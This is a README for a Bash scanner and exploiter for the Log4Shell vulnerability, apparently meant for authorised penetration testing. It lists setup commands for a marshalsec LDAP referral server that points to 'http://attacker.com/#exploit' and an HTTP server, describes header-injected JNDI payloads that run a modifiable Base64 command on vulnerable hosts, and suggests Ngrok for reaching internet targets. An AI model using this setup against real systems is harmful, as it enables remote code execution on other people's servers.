Log4Shell-Scanner-Exploit

Bash script that allows identifying and/or exploiting the Log4Shell vulnerability remotely. This tool performs various tests using LDAP payloads and X-Api-Version, User-Agent, and X-Forwarded-For headers.

Always use this script with prior authorization from the owner of the audited service/application.

Dependencies:

1. We will create a preconfigured LDAP server from Github: https://github.com/mbechler/marshalsec

mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'

2. Enable an HTTP server python3 -m http.server 8080

3. Have Java installed #sudo apt install default-jre

4. Have Curl installed #sudo apt-get install curl

Usage example:

Enter the following parameters:

• List of URLs to scan
• LDAP server IP address
• LDAP server port
• HTTP server IP address
• HTTP server port

#Example scanning an application on the internal network:

• ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

#Example scanning an application on the internet:

• ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

Clarifications:

• The payload used sends an "ifconfig" command to machines identified as vulnerable; this payload is Base64 encoded and can be modified to carry out the exploitation phase in a pentesting audit.
• If you wish to use the tool on internet services, you can start an Ngrok service that does port forwarding to the local port of the LDAP server.
• Always use this script with prior authorization from the owner of the analyzed service/application.